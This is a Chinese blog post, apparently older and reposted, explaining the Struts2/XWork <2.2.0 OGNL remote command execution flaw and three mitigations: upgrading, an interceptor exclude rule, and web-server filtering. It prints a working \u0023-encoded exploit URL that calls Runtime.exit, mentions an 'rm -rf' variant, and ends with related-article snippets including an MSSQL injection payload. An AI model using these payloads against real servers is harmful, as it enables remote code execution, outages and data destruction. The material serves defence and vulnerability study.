struts2漏洞攻击方法与解决方案

exploit-db网站在7月14日爆出了一个Struts2的远程执行任意代码的漏洞。 
漏洞名称:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability 
相关介绍:

  • http://www.exploit-db.com/exploits/14360/
  • http://sebug.net/exploit/19954/

Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。当我们提交一个http参数:

Java代码  

  1. ?user.address.city=Bishkek&user[‘favoriteDrink‘]=kumys

ONGL将它转换为:

Java代码  

  1. action.getUser().getAddress().setCity("Bishkek")
  2. action.getUser().setFavoriteDrink("kumys")

这是通过ParametersInterceptor(参数过滤器)来执行的,使用用户提供的HTTP参数调用 ValueStack.setValue()。 
为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值: 
此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

Java代码  

  1. ?(‘\u0023_memberAccess[\‘allowStaticMethodAccess\‘]‘)(meh)=true&(aaa)((‘\u0023context[\‘xwork.MethodAccessor.denyMethodExecution\‘]\u003d\u0023foo‘)(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)((‘\u0023rt.exit(1)‘)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样:

Java代码  

  1. ?(‘#_memberAccess[‘allowStaticMethodAccess‘]‘)(meh)=true&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution‘]=#foo‘)(#foo=new%20java.lang.Boolean("false")))&(asdf)((‘#rt.exit(1)‘)(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

Java代码  

  1. java.lang.Runtime.getRuntime().exit(1);

类似的可以执行

Java代码  

  1. java.lang.Runtime.getRuntime().exec("rm –rf /root")

,只要有权限就可以删除任何一个目录。 
目前尝试了3个解决方案:

1.升级到struts2.2版本。 
这个可以避免这个问题,但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release),经我测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。

Java代码  

  1. <s:bean id="UserUtil" name="cn.com.my_corner.util.UserUtil"></s:bean>
  2. <s:property value="#UserUtil.getType().get(cType.toString())" />

这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的问题导致的,补了漏洞,正常的使用也用不了了。 
所以sebug网站上的建议升级到2.2版本是不可行的。

2.struts参数过滤。

Java代码  

  1. <interceptor-ref name="params">
  2. <param name="excludeParams">.*\\u0023.*</param>
  3. </interceptor-ref>

这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。如果项目里,是引用的一个类似global.xml的配置文件,工作量相应减少一些。

3.在前端请求进行过滤。 
比如在ngnix,apache进行拦截,参数中带有\u0023的一律视为攻击,跳转到404页面或者别的什么页面。这样做的一个前提就是没人把#号转码后作为参数传递。 
请求如果是get方式,可以进行过滤,如果是post方式就过滤不到了,所以还是应该修改配置文件或更新新的jar包。

目前来看后两种是比较有效的方法,采用第三种方法比较简便。是否有另外的解决办法,欢迎大家讨论。

我并没有在windows环境下测试,有同学在windows下没有试验成功,这并不能说明windows下就没有风险可能是我们的参数或者什么地方有问题而已。既然漏洞的确存在,咱们就要重视对吧。欢迎大家测试,是否windows下漏洞不能执行成功。

时间: 2024-11-10 08:53:27

struts2漏洞攻击方法与解决方案的相关文章

struts2漏洞攻击一例

怎样利用Struts2的漏洞(2.0.0<=version<=2.3.15)搞垮一个基于Struts2写的网站? Struts是java web frameworks里面的鼻祖了,现在大量的web apps里面,从政府网站到金融系统,都有她的影子(大量的系统都是采用一种被用烂了的SSH(Struts+Spring+Hibernate)组合来做的).甚至阿里/淘宝也有一些系统使用了Struts(阿里其实有更好更安全的webx框架的). 最近被热议的一个高危安全漏洞:http://struts.a

mssql2005存手工注入漏洞附攻击方法- 寒龙网出品

/**/跟空格的作用一样,有的时候可以过一些过滤爆库语句,修改红色部分的数字挨个猜出库 /**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[

PHP的$_SERVER[&#39;PHP_SELF&#39;]造成的XSS漏洞攻击及其解决方案

$_SERVER['PHP_SELF']简介 $_SERVER['PHP_SELF'] 表示当前 PHP文件相对于网站根目录的位置地址,与 document root 相关. 假设我们有如下网址,$_SERVER['PHP_SELF']得到的结果分别为: http://www.php-note.com/php/    :   /php/test.php http://www.php-note.com/php/test.php    :    /php/test.php http://www.ph

Struts2漏洞之S2-016漏洞分析与exp编写

 1.概述 S2-016是13年7月爆出的,那时候的我还没涉及Web安全研究.这次迟到的分析也算是对过去的补充.这个漏洞影响了Struts 2.3.15.1之前的所有版本.问题主要出在对于特殊URL处理中,redirect与redirectAction后面跟上Ognl表达式会被服务器执行. 2.漏洞分析 分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiionMapper上,这个类主要是用来处理一些灵活的URL调用,比如处理Action中动态调用方法的形式,如: http:

Struts2漏洞分析与研究之S2-005漏洞分析

 转载请注明出处:http://blog.csdn.net/u011721501?viewmode=list 1.概述 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的.我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过. S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞. Payload如下: http://www.xxxx.com/aaa

什么是黑客认为回报率最高的攻击方法

"黑客们之所以越来越愿意投入更多时间和精力去对各种设备进行攻击,那是因为他们通过攻击获得的利益越来越大."新思科技(Synopsys)产品市场经理Rich Collins说,目前,物联网在网络.设备和芯片这三个层面都会遭受攻击,攻击手段大致可分为网络攻击(窃取敏感数据).软件攻击(植入恶意软件)和硬件攻击(利用Debug或者侧信道方式进行非侵入式攻击等)三种类型. 以针对一颗SoC芯片的恶性攻击为例,攻击方式就包括IP窃取(在未经授权的情况下,对内存进行访问或物理分析);故障注入(故意

CCERT月报:Struts2漏洞已成高校网络安全顽疾(转)

Struts2漏洞已成高校网络安全顽疾 建议学校加大信息系统巡查力度 9月教育网运行正常,未发现影响严重的安全事件.近期安全形势较为严峻,学校要加大安全巡查的力度,对学校的信息系统进行排查,对于那些有严重安全隐患的信息系统必须及时采取技术措施进行防范,如果信息系统仅是对校内提供服务,建议采取校内限制访问的措施,来降低被攻击的风险. 近期新增严重漏洞评述: 1.微软9月的例行安全公告中修复了其多款产品存在的81个安全漏洞(严重等级的21个),涉及的产品包括,IE浏览器.Edge浏览器.Window

基于Armitage的MSF自动化漏洞攻击实践

基于Armitage的MSF自动化漏洞攻击实践 目录 实践环境 预备知识 Armitage基础配置 ms08_067_netapi:自动化漏洞溢出攻击实践 ms14_064_ole_code_execution:IE漏洞自动化攻击实践 ms17_010_eternalblue:"永恒之蓝"自动化攻击实践 office_ms17_11882:Office漏洞自动化攻击实践 John the Ripper_linux口令破解模块:Armitage下Auxiliary辅助模块应用 实践中遇到

Tomcat 开启HTTPS 后爆发SSL相关漏洞解决方法

最近用绿盟扫描系统进行全网系统扫描,有几台设备被扫出了SSL相关漏洞,在此做一个简短的笔记. 本次涉及漏洞 1.漏洞名称:SSL 3.0 POODLE攻击信息泄露漏洞(CVE-2014-3566)[原理扫描] 2.SSL/TLS 受诫礼(BAR-MITZVAH)攻击漏洞(CVE-2015-2808)[原理扫描] 知识普及1:SSL协议要点 SSL(Secure Sockets Layer 安全套接层)是一种基于Web应用的安全通信协议,最早由Netscape(网景)公司提出.SSL介于TCP协议